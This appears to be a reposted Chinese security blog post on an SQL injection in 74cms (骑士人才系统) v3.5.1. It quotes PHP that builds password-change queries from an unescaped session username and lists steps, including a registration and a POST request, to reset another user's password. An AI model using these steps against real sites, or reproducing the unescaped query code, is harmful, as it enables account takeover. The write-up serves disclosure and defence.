骑士人才系统 sql注入导致任意用户密码修改

wap_password.php:
 

elseif ($act == 'save_password')
{
require_once(QISHI_ROOT_PATH.'include/fun_user.php');
$arr['username']=$_SESSION['username'];
$arr['oldpassword']=trim($_POST['oldpassword'])?trim($_POST['oldpassword']):exit('请输入旧密码!');
$arr['password']=trim($_POST['password'])?trim($_POST['password']):exit('请输入新密码!');
if ($arr['password']!=trim($_POST['password1'])) exit('两次输入密码不相同,请重新输入!');
//edit_password()修改密码的方法
$info=edit_password($arr);

我们跟进到这个函数edit_password:

fun_user.php:
 

function edit_password($arr,$check=true)
{
global $db,$QS_pwdhash;
if (!is_array($arr))return false;
$user_info=get_user_inusername($arr['username']);
$pwd_hash=$user_info['pwd_hash'];
$password=md5(md5($arr['oldpassword']).$pwd_hash.$QS_pwdhash);
if ($check)
{
$row = $db->getone("SELECT * FROM ".table('members')." WHERE username='{$arr['username']}' and password = '{$password}' LIMIT 1");

if(empty($row))
{
return -1;
}
}
$md5password=md5(md5($arr['password']).$pwd_hash.$QS_pwdhash);
if ($db->query( "UPDATE ".table('members')." SET password = '$md5password'  WHERE username='".$arr['username']."'")) return $arr['username'];
write_memberslog($_SESSION['uid'],$_SESSION['utype'],1004,$_SESSION['username'],"修改了密码");
return false;
}

看见没有这里的意思是如果我们找到了username,那么我们底下就update该用户的密码

我们到注册页面:
 

骑士人才系统sql注入导致任意用户密码修改 – 网站安全 – 自学php网插图

注册完毕后 我们的意图就是更改test的密码

然后我们发送url:

http://localhost/74cms_v3.5.1_20141015/upload/wap/personal/wap_password.php?act=save_password

post:

oldpassword=xxxxx&password=yyyy&password1=yyyy

test用户的密码就被修改给yyyy了

登陆 看看:

 

骑士人才系统sql注入导致任意用户密码修改 – 网站安全 – 自学php网插图1

 

解决方案:

加强过滤

    上一篇: web安全实践(3)再谈基于http的服务器架构剖析 - 网站安全 - 自学php网

    下一篇: Web安全实践(2)基于http的web架构剖析 - 网站安全 - 自学php网
本博客所有文章如无特别注明均为原创。
复制或转载请以超链接形式注明转自起风了,原文地址《骑士人才系统sql注入导致任意用户密码修改 – 网站安全 – 自学php网
   

还没有人抢沙发呢~